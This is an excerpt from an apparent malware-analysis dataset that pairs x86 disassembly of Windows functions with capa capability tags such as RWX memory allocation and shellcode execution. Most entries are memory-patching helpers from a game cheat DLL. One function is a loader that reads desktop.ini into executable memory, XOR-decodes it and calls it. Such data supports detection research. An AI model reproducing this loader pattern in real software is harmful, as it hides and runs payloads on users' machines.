joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402cf9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x406408
cmp edx, dword [eax]
je 0x402d1b
add eax, 8
inc ecx
cmp eax, 0x406498
jl 0x402d0c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x406408]
jne 0x402e49
mov eax, dword [0x406948]
cmp eax, 1
je 0x402e23
test eax, eax
jne 0x402d4c
cmp dword [0x4060d4], 1
je 0x402e23
cmp edx, 0xfc
je 0x402e49
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402d83
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call 0x4034e0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00401480
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x402dc6
lea eax, [ebp - 0x1a4]
push eax
call fcn.00401480
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x405484
push edi
call fcn.00401500
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call 0x4034e0
lea eax, [ebp - 0xa0]
push edi
push eax
call 0x4034f0
lea eax, [ebp - 0xa0]
push 0x405464
push eax
call 0x4034f0
push dword [esi + 0x40640c]
lea eax, [ebp - 0xa0]
push eax
call 0x4034f0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040452e
add esp, 0x2c
pop edi
jmp 0x402e49
lea eax, [ebp + 8]
lea esi, [esi + 0x40640c]
push 0
push eax
push dword [esi]
call fcn.00401480
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x1000d2e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push 0x401000
call fcn.1000d4c0
add esp, 4
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
push eax
call fcn.1000ee00
mov dword [ebp - 0x14], 4
mov esi, dword [eax]
lea eax, [ebp - 0x10]
push eax
push 0x40
push 4
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne byte [ebp - 0xc]
mov esi, dword [esi]
test eax, eax
je 0x1000d341
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 4], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, 0x53ec8b55
jne 0x1000d353
mov eax, 0x3e9
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x401000
call fcn.1000ec50
cmp eax, 0x16197be9
jne 0x1000d36e
mov eax, 0x3ea
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x8245bc
call fcn.1000ec50
cmp eax, 0x94bf
jne 0x1000d389
mov eax, 0x3f3
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x8252fc
call fcn.1000ec50
cmp eax, 0x94bf
jne 0x1000d3a4
mov eax, 0x44d
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x82533c
call fcn.1000ec50
cmp eax, 0x94bf
jne 0x1000d3bf
mov eax, 0x457
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x858d51
call fcn.1000ec50
cmp eax, 0x3539f633
jne 0x1000d3da
mov eax, 0xc80
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x858c61
call fcn.1000ec50
xor ecx, ecx
mov edx, 0xc8a
cmp eax, 0x3539f633
pop esi
cmove ecx, edx
mov eax, ecx
mov esp, ebp
pop ebp
ret
Function at 0x1000e560
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub eax, 1
je 0x1000e594
sub eax, 1
je 0x1000e5ef
sub eax, 2
je 0x1000e651
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov bl, byte [ebp + 0xc]
mov eax, dword [ebp + 8]
sub bl, al
mov bh, byte [ebp + 0x14]
dec bl
mov dword [ebp - 4], eax
movzx ecx, bh
mov dword [ebp - 0x18], 0
test bh, bh
jne 0x1000e5b9
mov byte [ebp - 0xc], bh
mov byte [eax], bl
jmp 0x1000e5f2
lea edx, [ebp - 0x10]
mov dword [ebp - 0x14], ecx
push edx
push 0x40
push ecx
push eax
mov dword [ebp - 0x18], eax
call edi
test eax, eax
mov eax, dword [ebp - 4]
setne cl
mov byte [ebp - 0xc], cl
mov byte [eax], bl
test cl, cl
je 0x1000e5f2
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 4], eax
push dword [ebp - 0x18]
call edi
jmp 0x1000e5f2
mov bh, byte [ebp + 0x14]
mov eax, dword [ebp - 8]
sub eax, esi
mov dword [ebp - 0x18], 0
mov esi, dword [ebp + 8]
sub eax, esi
movzx eax, ax
mov dword [ebp - 8], eax
movzx ecx, ax
movzx eax, bh
add eax, eax
jne 0x1000e61c
mov byte [ebp - 0xc], 0
mov word [esi], cx
jmp 0x1000e651
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x18], esi
call edi
mov ecx, dword [ebp - 8]
test eax, eax
setne al
mov byte [ebp - 0xc], al
mov word [esi], cx
test al, al
je 0x1000e651
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], eax
push dword [ebp - 0x18]
call edi
mov eax, dword [ebp + 0x10]
mov esi, dword [ebp + 8]
add eax, esi
mov ebx, dword [ebp + 0xc]
sub ebx, eax
mov dword [ebp - 0x18], 0
movzx eax, byte [ebp + 0x14]
shl eax, 2
test eax, eax
jne 0x1000e67c
mov byte [ebp - 0xc], al
mov dword [esi], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x18], esi
call edi
test eax, eax
setne al
mov byte [ebp - 0xc], al
mov dword [esi], ebx
test al, al
je 0x1000e6ad
mov eax, dword [ebp - 0x10]
lea ecx, [ebp + 0x10]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp + 0x10], eax
push dword [ebp - 0x18]
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000e6c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov al, byte [ebp + 0x10]
xor edx, edx
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x18], edx
push ebx
movzx ebx, al
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, esi
test al, al
jne 0x1000e6e7
xor al, al
jmp 0x1000e708
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], ebx
push eax
push 0x40
push ebx
push esi
mov dword [ebp - 0x18], esi
call ecx
mov esi, dword [ebp + 0xc]
test eax, eax
mov edx, dword [ebp - 0x18]
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
setne al
mov byte [ebp - 0xc], al
mov ah, byte [edi]
mov byte [ebp - 1], ah
test al, al
je 0x1000e72b
mov eax, dword [ebp - 0x10]
lea esi, [ebp - 8]
push esi
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], eax
push edx
call ecx
mov esi, dword [ebp + 0xc]
mov ah, byte [ebp - 1]
movzx eax, ah
sub eax, 0xe8
je 0x1000e810
sub eax, 1
je 0x1000e810
sub eax, 0x16
jne 0x1000e800
xor edx, edx
lea edi, [esi + 1]
mov dword [ebp - 0x18], edx
test ebx, ebx
jne 0x1000e75b
xor al, al
jmp 0x1000e77a
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], ebx
push eax
push 0x40
push ebx
push edi
mov dword [ebp - 0x18], edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp + 0xc]
test eax, eax
mov edx, dword [ebp - 0x18]
setne al
mov byte [ebp - 0xc], al
mov cl, byte [edi]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [ebp + 0x13], cl
test al, al
je 0x1000e7a3
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], eax
push edx
call edi
mov esi, dword [ebp + 0xc]
mov cl, byte [ebp + 0x13]
cmp cl, 0x15
je 0x1000e7ad
cmp cl, 0x25
jne 0x1000e800
shl ebx, 2
xor ecx, ecx
add esi, 2
mov dword [ebp - 0x18], ecx
test ebx, ebx
jne 0x1000e7c0
xor al, al
jmp 0x1000e7d8
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], ebx
push eax
push 0x40
push ebx
push esi
mov dword [ebp - 0x18], esi
call edi
mov ecx, dword [ebp - 0x18]
test eax, eax
setne al
mov byte [ebp - 0xc], al
mov esi, dword [esi]
test al, al
je 0x1000e7f2
mov eax, dword [ebp - 0x10]
lea edx, [ebp + 0x10]
push edx
push eax
push dword [ebp - 0x14]
mov dword [ebp + 0x10], eax
push ecx
call edi
mov eax, dword [ebp + 8]
mov ecx, dword [esi]
mov dword [eax], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
mov dword [eax], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ecx
mov cl, byte [ebp + 0x10]
mov eax, esp
inc esi
mov dword [eax], esi
call fcn.1000ee80
add esp, 4
lea ecx, [eax + 4]
mov eax, dword [ebp + 8]
pop edi
add ecx, esi
pop esi
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000eac0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push dword [ebp + 8]
call fcn.1000d4c0
add esp, 4
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
push eax
call fcn.1000ee00
mov dword [ebp - 0x18], 0
mov esi, dword [eax]
xor eax, eax
cmp byte [ebp + 0x10], al
cmovne eax, dword [ebp + 0xc]
test eax, eax
jne 0x1000eafc
mov byte [ebp - 0xc], al
jmp 0x1000eb16
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne byte [ebp - 0xc]
push dword [ebp + 0xc]
push 0x90
push esi
call fcn.1009bb30
add esp, 0xc
cmp byte [ebp - 0xc], 0
je 0x1000eb44
mov eax, dword [ebp - 0x10]
lea ecx, [ebp + 0x10]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp + 0x10], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000eb50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push dword [ebp + 8]
call fcn.1000d4c0
add esp, 4
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
push eax
call fcn.1000ee00
mov dword [ebp - 0x18], 0
mov esi, dword [eax]
movzx eax, byte [ebp + 0x10]
test eax, eax
jne 0x1000eb87
mov byte [ebp - 0xc], al
jmp 0x1000eba1
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne byte [ebp - 0xc]
mov al, byte [ebp + 0xc]
mov byte [esi], al
cmp byte [ebp - 0xc], 0
je 0x1000ebc3
mov eax, dword [ebp - 0x10]
lea ecx, [ebp + 0x10]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp + 0x10], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000ebd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push dword [ebp + 8]
call fcn.1000d4c0
add esp, 4
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
push eax
call fcn.1000ee00
mov dword [ebp - 0x18], 0
mov esi, dword [eax]
movzx eax, byte [ebp + 0x10]
shl eax, 2
test eax, eax
jne 0x1000ec0a
mov byte [ebp - 0xc], al
jmp 0x1000ec24
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne byte [ebp - 0xc]
movss xmm0, dword [ebp + 0xc]
movss dword [esi], xmm0
cmp byte [ebp - 0xc], 0
je 0x1000ec4a
mov eax, dword [ebp - 0x10]
lea ecx, [ebp + 0x10]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp + 0x10], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000ec50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push ecx
call fcn.1000d4c0
add esp, 4
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
push eax
call fcn.1000ee00
mov dword [ebp - 0x14], 4
mov esi, dword [eax]
lea eax, [ebp - 0x10]
push eax
push 0x40
push 4
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne byte [ebp - 0xc]
mov esi, dword [esi]
test eax, eax
je 0x1000ecad
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 4]
push eax
push ecx
push dword [ebp - 0x14]
mov dword [ebp - 4], ecx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000ecc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push dword [ebp + 8]
call fcn.1000d4c0
add esp, 4
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
push eax
call fcn.1000ee00
mov ebx, dword [ebp + 0x10]
push ebx
push ecx
mov esi, dword [eax]
mov eax, esp
mov dword [eax], esi
lea eax, [ebp + 0x10]
push eax
call fcn.1000e6c0
add esp, 0xc
movzx eax, bl
mov dword [ebp - 0x18], 0
test bl, bl
jne 0x1000ed0c
mov byte [ebp - 0xc], bl
jmp 0x1000ed26
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne byte [ebp - 0xc]
mov byte [esi], 0xe8
cmp byte [ebp - 0xc], 0
je 0x1000ed46
mov eax, dword [ebp - 0x10]
lea ecx, [ebp + 0x10]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp + 0x10], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 0xc]
inc esi
push ebx
push 4
push ecx
mov ecx, esp
push ecx
mov dword [ecx], eax
mov eax, esp
mov dword [eax], esi
call fcn.1000e560
add esp, 0x10
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000ed70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push dword [ebp + 8]
call fcn.1000d4c0
add esp, 4
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
push eax
call fcn.1000ee00
mov dword [ebp - 0x18], 0
mov esi, dword [eax]
xor eax, eax
cmp byte [ebp + 0x14], al
cmovne eax, dword [ebp + 0x10]
test eax, eax
jne 0x1000edac
mov byte [ebp - 0xc], al
jmp 0x1000edc6
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne byte [ebp - 0xc]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call fcn.1009b5b0
add esp, 0xc
cmp byte [ebp - 0xc], 0
je 0x1000edf2
mov eax, dword [ebp - 0x10]
lea ecx, [ebp + 0x14]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp + 0x14], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000ee80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, cl
xor edx, edx
shl eax, 2
mov dword [ebp - 0x14], edx
push esi
mov esi, dword [ebp + 8]
test eax, eax
jne 0x1000ee9d
xor al, al
jmp 0x1000eeb9
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x14]
test eax, eax
setne al
mov byte [ebp - 8], al
mov esi, dword [esi]
test al, al
je 0x1000eed7
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 4]
push eax
push ecx
push dword [ebp - 0x10]
mov dword [ebp - 4], ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000eee0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0x10], edx
push ebx
push esi
mov esi, dword [ebp + 8]
test eax, eax
jne 0x1000eefc
xor al, al
jmp 0x1000ef18
lea ecx, [ebp - 8]
mov dword [ebp - 0xc], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x10]
test eax, eax
setne al
mov byte [ebp - 4], al
mov bl, byte [esi]
test al, al
je 0x1000ef36
mov ecx, dword [ebp - 8]
lea eax, [ebp + 0xc]
push eax
push ecx
push dword [ebp - 0xc]
mov dword [ebp + 0xc], ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100122b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100bf1fd
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x1010b570]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
sub esp, 0x28
mov dword [ebp - 4], 0
mov esi, esp
mov dword [esi + 0x24], 0
mov ecx, dword [ebp + 0x30]
test ecx, ecx
je 0x10012327
lea eax, [ebp + 0xc]
cmp ecx, eax
jne 0x1001231d
mov eax, dword [ecx]
push esi
call dword [eax + 4]
mov dword [esi + 0x24], eax
mov ecx, dword [ebp + 0x30]
test ecx, ecx
je 0x10012327
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
lea eax, [ebp + 0xc]
cmp ecx, eax
setne al
push eax
call edx
jmp 0x10012320
mov dword [esi + 0x24], ecx
mov dword [ebp + 0x30], 0
push dword [ebp + 8]
mov ecx, edi
call fcn.10011a40
cmp byte [edi + 0x24], 0
jne 0x100123f6
mov esi, dword [ebp + 0x34]
push 0x748cfb
call fcn.1000d4c0
mov ecx, dword fs:[0x2c]
add esp, 4
mov edx, dword [0x1011a918]
mov ebx, eax
mov edx, dword [ecx + edx*4]
mov ecx, dword [0x1011b7fc]
cmp ecx, dword [edx + 4]
jg 0x10012422
mov eax, dword [edi]
push 1
push 5
push ecx
mov edx, dword [eax + 8]
mov ecx, edi
mov eax, esp
mov dword [eax], ebx
call edx
push 1
push ecx
mov eax, esp
mov dword [eax], ebx
lea eax, [ebp - 0x10]
push eax
call fcn.1000e6c0
add esp, 0xc
mov dword [ebp - 0x20], 1
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], ebx
push eax
push 0x40
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne byte [ebp - 0x18]
mov byte [ebx], 0xe8
cmp byte [ebp - 0x18], 0
je 0x100123d3
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x14]
push ecx
push eax
push dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 1
push 4
push ecx
mov eax, esp
push ecx
mov ecx, esp
mov dword [eax], esi
lea eax, [ebx + 1]
mov dword [ecx], eax
call fcn.1000e560
mov eax, dword [ebp - 0x10]
add esp, 0x10
mov dword [edi + 0x18], eax
mov byte [edi + 0x24], 1
mov ecx, dword [ebp + 0x30]
test ecx, ecx
je 0x1001240e
mov edx, dword [ecx]
lea eax, [ebp + 0xc]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x30
push 0x1011b7fc
call fcn.10099c7e
add esp, 4
cmp dword [0x1011b7fc], 0xffffffff
jne 0x1001236f
mov ecx, 0x1011b7f0
mov dword [0x1011b7f0], 0x100fcaac
mov dword [0x1011b7f8], 0
mov dword [0x1011b7f4], 0
call fcn.1000e840
push 0x1011b7fc
call fcn.10099c34
add esp, 4
jmp 0x1001236f
Function at 0x100129a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x14], 0
je 0x10012a18
mov ebx, dword [edi + 0x10]
xor eax, eax
cmp byte [edi + 0x15], al
mov esi, dword [edi + 0xc]
cmovne eax, ebx
mov dword [ebp - 0x14], 0
test eax, eax
jne 0x100129cf
mov byte [ebp - 8], al
jmp 0x100129e9
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push 0x40
push eax
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne byte [ebp - 8]
push ebx
lea eax, [edi + 4]
push eax
push esi
call fcn.1009b5b0
add esp, 0xc
cmp byte [ebp - 8], 0
je 0x10012a14
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp - 0x10]
mov dword [ebp - 4], eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [edi + 0x14], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10012a20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, ecx
mov eax, dword [edi]
call dword [eax + 4]
mov al, byte [ebp + 0x10]
lea ecx, [edi + 4]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp + 0x10], ecx
xor ecx, ecx
test al, al
mov byte [edi + 0x14], 1
mov dword [edi + 0xc], esi
cmovne ecx, edx
mov dword [edi + 0x10], edx
mov byte [edi + 0x15], al
xor edi, edi
mov dword [ebp - 0x10], edi
test ecx, ecx
jne 0x10012a60
xor bl, bl
jmp 0x10012a7f
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
push eax
push 0x40
push ecx
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [ebp - 0x10]
test eax, eax
mov edx, dword [ebp + 0xc]
setne bl
push edx
push esi
push dword [ebp + 0x10]
mov byte [ebp - 4], bl
call fcn.1009b5b0
add esp, 0xc
test bl, bl
je 0x10012aa8
mov eax, dword [ebp - 8]
lea ecx, [ebp + 0x10]
push ecx
push eax
push dword [ebp - 0xc]
mov dword [ebp + 0x10], eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10012ac0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x10012b0e
call fcn.1000d400
cmp eax, 0x3ea
je 0x10012af9
cmp eax, 0x3e9
je 0x10012af9
push 0x10
push str.CheatMenu
push str.Unknown_game_version._GTA_SA_v1.0_US_is_required.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
pop ebp
ret 0xc
push 0
push 0
push 0
push 0x100113b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop ebp
ret 0xc
Function at 0x1001cfd0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100c006d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x1010b570]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 8
mov dword [esi + 0x30], 0
mov dword [esi + 8], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0x201
mov dword [esi + 0x18], 6
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0xc], 0
call fcn.100997ee
mov edi, eax
add esp, 4
test edi, edi
je 0x1001d06d
push 1
mov dword [ebp - 4], 0
call fcn.100986ca
add esp, 4
mov dword [edi + 4], eax
jmp 0x1001d06f
xor edi, edi
mov eax, dword [ebp + 8]
mov dword [esi + 0x30], edi
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], 0
mov edi, dword [edi + 4]
mov ecx, edi
mov dword [ebp - 0x10], edi
mov eax, dword [edi]
call dword [eax + 4]
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 1
push eax
call fcn.1000ff70
add esp, 4
mov ecx, dword [eax]
push 0x20
mov edx, dword [ecx + 0x20]
mov ecx, eax
call edx
mov dword [ebp - 4], 0xffffffff
mov bl, al
test edi, edi
je 0x1001d0ca
mov edx, dword [edi]
mov ecx, edi
call dword [edx + 8]
test eax, eax
je 0x1001d0ca
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
cmp dword [esi + 0x38], 0
mov byte [esi + 0x40], bl
jne 0x1001d0e6
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x10]
and eax, 0x13
or eax, 4
mov dword [esi + 0xc], eax
and ecx, eax
jne 0x1001d109
cmp byte [ebp + 0xc], 0
je 0x1001d0f5
push esi
call fcn.10098b62
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
test cl, 4
je 0x1001d115
mov esi, str.ios_base::badbit_set
jmp 0x1001d125
test cl, 2
mov esi, str.ios_base::failbit_set
mov eax, str.ios_base::eofbit_set
cmove esi, eax
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.10012600
add esp, 8
lea ecx, [ebp - 0x28]
push eax
push esi
call fcn.10010690
push 0x101017bc
lea eax, [ebp - 0x28]
push eax
